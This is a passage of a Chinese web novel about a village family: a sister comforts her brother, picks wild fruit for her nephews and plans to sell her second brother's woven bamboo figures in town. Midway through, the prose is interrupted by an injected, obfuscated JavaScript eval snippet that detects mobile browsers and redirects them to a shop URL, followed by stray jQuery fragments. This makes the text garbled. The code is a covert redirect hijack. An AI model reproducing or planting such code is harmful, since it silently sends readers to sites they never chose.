不知过了多久，门轻轻被人推开了一道缝。
陈诗雨端着盏油灯站在门口，轻轻叹了口气，把油灯搁在桌上，走过去坐到炕沿边，拍了拍他的后背：“三哥，别哭了，娘这会没事了。”
陈建宇没抬头，声音闷在枕头里，又哑又沉：“诗雨，我是不是就是个祸害？”
陈诗雨没顺着他这话接，只是说：“你要真是个祸害，今晚就不会睡不着了。”
陈建宇猛地翻过身，眼睛通红地看着她：“可我让娘犯病了！大夫说她不能生气，我……我除了惹事，我还会干啥？”
“那就改。”陈诗雨看着他，语气平静，不急不缓，“你明天把东头的石头清了，后天把地翻出来，大后天把种子撒下去。你让娘看见你在干活，在往正道上走，比你说一百句‘我错了’都管用。”
陈建宇眼泪又下来了，伸手胡乱抹了一把，使劲点了点头：“行。明天早起，我去把东头那块的石头全清了。”
陈诗雨站起身来：“把枕头翻过来，湿着睡对头不好。”她端着油灯往外走，走到门口又停下，回头说了句：“三哥，咱们这个家，缺谁都不行。”
门轻轻合上了。陈建宇一个人躺在黑暗里，愣了好一会儿，才慢慢把枕头翻了个面，闭上眼睛。
晨光刚爬上窗棂，陈诗雨就被一阵窸窣声吵醒了。
陈诗雨下床，打开门，被两个侄子抱住了腿。
四只眼睛亮晶晶地瞅着她。
“小姑小姑，进山！进山！”七岁的陈玉明拽着她的胳膊晃。
五岁的陈玉川已经爬上了床，小屁股正正坐在她肚子上，奶声奶气地重复：“挖吃的，挖吃的。”
陈诗雨把脸埋进枕头闷笑了一声，再抬头时故意板起脸：“不行。山里有蛇，还有会咬人的大蚂蚁。”
“不怕！”陈玉明挺起小胸脯，“我有弹弓！”
“我有——我有小铲子！”陈玉川慌忙举起从床头摸来的塑料铲，铲头上还沾着昨晚玩沙的痕迹。
陈诗雨伸手把两个小捣蛋揽进怀里，鼻尖蹭蹭这个的额头，又蹭蹭那个的。晨光里能看见陈玉川睫毛上沾着的眼屎，能闻见陈玉明头发上淡淡的汗味，混着昨晚被窝里捂出的暖烘烘的气息。
“这样，”她松开他们，起身去够柜子上的竹篓，“小姑进山给你们摘野果。山稔子，还有八月炸，你们乖乖在家等。”
两个小家伙对视一眼。陈玉明的眼睛骨碌碌转了一圈，伸出小指：“拉钩。要紫色的那种，最甜的。”
陈玉川也跟着伸出肉乎乎的手指：“还要——还要红屁股的！”
“是红屁股的野草莓。”陈玉明纠正弟弟。
陈诗雨笑着跟他们拉了钩，把差点又要爬上床的陈玉川抱下来塞进陈玉明怀里：“看好弟弟，回来给你们带山稔子，能把舌头染紫的那种。”
竹篓挎上肩，推开木门时清晨的山风扑面而来，带着露水和青草的气息。她回头看了一眼，两个小脑袋正挤在窗口，四只小手拼命朝她挥着。
山路湿滑，露水打湿了裤脚。陈诗雨熟门熟路地绕过后山的竹林，在一片向阳的坡地上停下来。野生的山稔子树矮矮地伏着，黑紫色的果实饱满欲滴，表面蒙着一层薄薄的白霜。她一颗颗仔细摘着，忽然听见身后的灌木丛沙沙响。
回头时，阳光正好穿过树冠，一只灰松鼠蹲在枝头，抱着颗松果歪头看她。陈诗雨从竹篓里拣了颗最红的野草莓放在树根处，松鼠跳下来嗅了嗅，叼起就跑，尾巴在灌木丛中一闪就不见了。
竹篓渐渐满了。深紫的山稔子、红艳的野草莓、还有两串黄澄澄的八月炸。她把最后一把山薄荷塞在果子上面——陈玉川最近有点咳嗽，这个泡水喝好。
下山时太阳已经升高了。远远地就看见院门口两个小身影坐立不安地张望，一见到她就“嗷”地一声冲过来。
“小姑小姑！”
陈玉明抢着扒住竹篓边沿往里看，陈玉川已经伸手进去掏了颗山稔子塞进嘴里，立刻“呸呸”地吐舌头：“酸！”
“笨，要捏软一点的才甜。”陈玉明老成地挑了一颗深紫色的递过去，看着弟弟咬下去后绽开的笑脸，自己也跟着咧嘴笑了，露出缺了门牙的豁口。
陈诗雨蹲下来，用拇指擦掉陈玉川嘴角紫色的汁水，忽然被两只小手同时搂住了脖子。左边是陈玉明带着弹弓硌人的拥抱，右边是陈玉川沾着果酱黏糊糊的亲吻。
“明天还去吗？”两个声音同时问。
她笑着把他们抱起来，山稔子的甜香从竹篓里飘出来，混着正午暖洋洋的阳光。院子里的老槐树沙沙响着，像是也在笑。
“看你们表现。”
竹林在后山更深处，要穿过那片野果坡，再绕过一道山溪。陈诗雨背着竹篓走在小径上，远远就听见砍刀落下的“笃笃”声，清脆而有节律，像是山在打拍子。
二哥陈建林的身影隐在竹荫里，袖子挽到肘上，手臂肌肉随着挥刀的弧度绷起又放松。脚下已经躺了七八根粗壮的毛竹，切口平整，青皮上还凝着露珠。
“二哥。”陈诗雨喊了一声。
陈建林回头，额上沁着细汗，冲她笑了笑：“诗雨来了？正好，替我扶着这根，别让它劈偏了。”
陈诗雨丢了竹篓过去，双手稳稳扶住碗口粗的竹竿。陈建林深吸一口气，一刀劈下，竹节应声裂开，清脆得像掰断一根脆骨。接着他又连下几刀，竹竿便整整齐齐地分成两半，露出里面雪白的竹肉。
“镇上周记杂货铺的老周前几日捎话，说想要一批竹篮，要细篾编的，口沿要收得紧。”陈建林边说边蹲下来，手指抚过剖开的竹面，“我估摸着这坡的竹子够用，劈个三四十根，够编半个月的。”
陈诗雨蹲在他旁边，看他从竹筒里挑出几根细篾条，手指翻飞，三两下就编出一只巴掌大的小蚂蚱。草绿色的竹篾作身子，两条后腿蹬着，触须微微颤着，活像个要跳起来的真货。
“二哥你这手……”陈诗雨拿起来托在掌心，忍不住轻轻吹了口气，蚂蚱的触须便动了动，“比镇上那些摊子上卖的好看多了。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628842|205868||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
陈建林笑了笑，眼角的纹路舒展开：“也就是个手艺，闲着也是闲着。镇上那些摊位上的东西，都是机器压的模子，一个样儿，没魂。”
“没魂”这两个字让陈诗雨心里一动。她看着二哥低头继续劈竹子的侧影，忽然说：“二哥，我能不能拿几个你编的小东西去镇上？反正明天我也要去换盐，顺道打听打听，看看有没有人愿意多出点钱买这些有魂的东西。”
陈建林的手顿了一下，抬起头看她：“你想拿去卖？”
“试试又不亏什么。”陈诗雨把蚂蚱小心地放回竹篓里，“你就编你的，我拿去镇上摆个角，要是有人问，我就说你接活儿，比光等着老周捎话强。”
陈建林沉默了一会儿，手指慢慢摩挲着手里那根竹篾。竹林里安静下来，只有风穿过竹叶的沙沙声，像在替他犹豫。
“行。”他最终点了头，声音很轻，但又很定，“你明儿带几个去。我今晚再加把劲，给你编只鸟，翅膀能动的。”
陈诗雨眼睛一亮，随即又压下笑意，认真地“嗯”了一声。她挽起袖子，弯下腰去抱那些劈好的竹子：“来吧，我跟你一起搬回去，趁着天没黑，你还能多干会儿。”
兄妹俩一前一后走在山路上。陈建林扛着竹捆走在前面，陈诗雨抱着几根细竹跟在后面，竹篓里那只竹蚂蚱随着脚步一晃一晃，后腿蹬在篓壁上，像随时要蹦出来。
傍晚的风从山谷里吹上来，带着竹叶的清苦和炊烟的味道。院门口两个小身影又蹲着了，一见他们回来就“咻”地跑过来，陈玉明第一眼就瞄见了竹篓里的蚂蚱，伸手就要去抓。
陈建林放下竹捆，一把抄起陈玉明扛在肩上，笑道：“别碰坏了，明儿你小姑要拿去卖钱给你买糖呢。”
“卖钱？”陈玉川仰着头，口水差点流下来，“能买那种——亮晶晶的糖吗？”
陈诗雨把蚂蚱小心地收进屋里，出来时摸了摸两个小家伙的脑袋：“买。要是能卖出好价钱，一人一颗，还带彩色纸包的那种。”
陈玉明在二哥肩上欢呼起来，两条小腿乱蹬。陈玉川已经绕着竹篓转圈，嘴里念念有词：“蚂蚱卖钱，买糖买糖……”
夜色漫上来的时候，陈建林在院里点了盏马灯，坐在小凳上开始编那只鸟。竹篾在他手里像有了生命，弯折、穿插、交错，一只雀鸟的雏形渐渐显现。陈诗雨端了碗热茶放在他手边，没出声，就静静看了会儿，然后转身去屋里给两个孩子盖被子。
灯影里，雀鸟的翅膀被陈建林轻轻一拨，真的扇动了一下。
第二天清晨，陈诗雨把竹篓腾出来，里面仔细铺了层干净的粗布。二哥连夜编好的那只雀鸟放在最上面，翅膀微张，像是随时要飞起来。旁边是那只蚂蚱，还有一只小乌龟、一条盘着的小蛇，都是巴掌大小，活灵活现。
“镇上人多眼杂，你挑个不碍事的地方摆。”陈建林送她到院门口，递过去两个粗面饼子，“晌午饿了吃。”
陈诗雨把饼子揣进怀里，回头冲他笑了笑：“放心吧二哥，我脸皮厚着呢。”